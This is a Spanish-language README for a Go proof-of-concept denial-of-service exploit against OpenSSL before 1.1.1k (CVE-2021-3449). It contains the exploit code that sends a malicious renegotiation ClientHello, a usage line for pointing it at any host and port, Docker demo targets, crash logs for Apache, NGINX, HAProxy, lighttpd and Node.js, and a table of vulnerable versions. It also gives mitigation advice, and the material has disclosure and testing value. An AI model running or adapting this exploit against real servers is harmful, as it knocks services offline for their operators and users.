Exploit DoS de OpenSSL <1.1.1k CVE-2021-3449

Uso: go run . -host hostname:port

Este programa implementa un exploit de prueba de concepto de CVE-2021-3449 que afecta a servidores OpenSSL anteriores a 1.1.1k si se acepta la renegociación segura TLSv1.2.

Se conecta a un servidor TLSv1.2 e inicia inmediatamente una "renegociación segura" RFC 5746. El ataque implica un ClientHello manipulado maliciosamente que provoca que el servidor se bloquee al causar una desreferencia de puntero NULL (denegación de servicio).

Referencias

Este problema fue reportado a OpenSSL el 17 de marzo de 2021 por Nokia. La corrección fue desarrollada por Peter Kästle y Samuel Sapalski de Nokia.

Mitigación

La única solución conocida es actualizar libssl1.1.

Aunque algunas aplicaciones usan configuraciones TLS reforzadas por defecto que deshabilitan la renegociación TLS, siguen viéndose afectadas por el fallo si ejecutan una versión antigua de OpenSSL.

Exploit

main.go es un pequeño script que se conecta a un servidor TLS, fuerza una renegociación y se desconecta.

El código del exploit se inyectó en una versión incluida del paquete encoding/tls de Go 1.14.15. Puedes encontrarlo en handshake_client.go:115. La lógica se explica por sí misma.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Demo

El directorio demo/ contiene la configuración para parchear varias aplicaciones con una versión vulnerable de OpenSSL.

Configuración de prueba:

Descargar y compilar localmente la versión vulnerable de OpenSSL 1.1.1j
Preparar un contenedor objetivo de Ubuntu 20.04 y subir las bibliotecas de OpenSSL
Instalar la aplicación en el contenedor objetivo
Iniciar el servidor y ejecutar el ataque

Requisitos:

OpenSSL (en el host)
build-essential (Perl, GCC, Make)
Docker

Nota: Ninguno de los servidores web enumerados es vulnerable a CVE-2021-3449 con OpenSSL 1.1.1k o posterior.

Para limpiar todos los recursos de demo, ejecuta make clean.

Servidor simple de OpenSSL

El openssl s_server es una implementación mínima de servidor TLS.

make demo-openssl: Ejecución completa (puerto 4433)
make -C demo build-openssl: Construir la imagen Docker objetivo
make -C demo start-openssl: Iniciar el objetivo en el puerto 4433
make -C demo stop-openssl: Detener el objetivo

Resultado: Caída completa del servidor.

Logs

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

El servidor web Apache2 httpd con la configuración por defecto es vulnerable.

make demo-apache: Ejecución completa (puerto 443)
make -C demo build-apache: Construir la imagen Docker objetivo
make -C demo start-apache: Iniciar el objetivo en el puerto 443
make -C demo stop-apache: Detener el objetivo

Gracias a @binarytrails por la contribución.

Resultado: Disrupción parcial, el proceso principal sigue vivo pero el proceso worker se bloqueó.

Logs

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

Las versiones de HAProxy 2.0.13 y posteriores no se ven afectadas.

Las versiones anteriores a 1.8.8 son vulnerables con la configuración TLS "intermedia".

make demo-haproxy: Ejecución completa (puerto 4433)
make -C demo build-haproxy: Construir la imagen Docker objetivo
make -C demo start-haproxy: Iniciar el objetivo en el puerto 4433
make -C demo stop-haproxy: Detener el objetivo

Las pruebas se ejecutan con el modo master-worker (opción -W, predeterminada en Debian). Sorprendentemente, el proceso maestro sale si un proceso worker muere.

Resultado: Caída completa del servidor.

Logs

docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

Las versiones de lighttpd 1.4.56 y posteriores no son vulnerables si ssl.disable-client-renegotiation = "enable" está configurado en lighttpd.conf.

El servidor web lighttpd <= 1.4.55 con configuración TLS "intermedia" es vulnerable.

make demo-lighttpd: Ejecución completa (puerto 4433)
make -C demo build-lighttpd: Construir la imagen Docker objetivo
make -C demo start-lighttpd: Iniciar el objetivo en el puerto 4433
make -C demo stop-lighttpd: Detener el objetivo

Resultado: Caída completa del servidor.

Logs

docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

Las versiones de NGINX 1.18.0 y posteriores no son vulnerables.

El servidor web NGINX 1.14.0 con configuración común es vulnerable. (https://nginxconfig.io)

Se asume que las versiones de NGINX >1.15.4 con OpenSSL >=1.1.1 están bien, ya que incluyen el parche SSL_OP_NO_RENEGOTIATION: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

make demo-nginx: Ejecución completa (puerto 4433)
make -C demo build-nginx: Construir la imagen Docker objetivo
make -C demo start-nginx: Iniciar el objetivo en el puerto 4433
make -C demo stop-nginx: Detener el objetivo

Resultado: Disrupción parcial, el proceso principal sigue vivo pero el proceso worker se bloqueó.

Logs

docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

Node.js https.createServer() es vulnerable.

make demo-nodejs: Ejecución completa (puerto 4433)
make -C demo build-nodejs: Construir la imagen Docker objetivo
make -C demo start-nodejs: Iniciar el objetivo en el puerto 4433
make -C demo stop-nodejs: Detener el objetivo

Resultado: Caída completa del servidor.

Logs

server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

Derechos de autor

Este repositorio incluye el paquete encoding/tls del lenguaje de programación Go.

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

OpenSSL s_server	-	1.1.1j	`make demo-openssl`	Caída
Apache2	Ubuntu 18.04	2.4.29	`make demo-apache2`	Caída parcial
HAProxy	Ubuntu 18.04	1.8.8	`make demo-haproxy`	Caída
HAProxy	Ubuntu 20.04	2.0.13	`make demo-haproxy`	Sin efecto
lighttpd	Ubuntu 18.04	1.4.55	`make demo-lighttpd`	Caída
lighttpd	Ubuntu 20.04	1.4.55	`make demo-lighttpd`	Caída
lighttpd	Ubuntu 21.04	1.4.59	`make demo-lighttpd`	Sin efecto con opción de configuración
NGINX	Ubuntu 18.04	1.14.0	`make demo-nginx`	Caída parcial
NGINX	Ubuntu 20.04	1.18.0	`make demo-nginx`	Sin efecto
Node.js <=12	Ubuntu 18.04			Sin efecto
Node.js >12	Ubuntu 18.04	?	`make demo-nodejs`	Caída
Node.js >12	Ubuntu 18.04	15.14.0	`make demo-nodejs`	Sin efecto

cve-2021-3449

Más Populares

Exploit DoS de OpenSSL <1.1.1k CVE-2021-3449

Referencias

Mitigación

Exploit

Demo

Servidor simple de OpenSSL

Apache2 httpd

HAProxy

lighttpd

NGINX

Node.js

Derechos de autor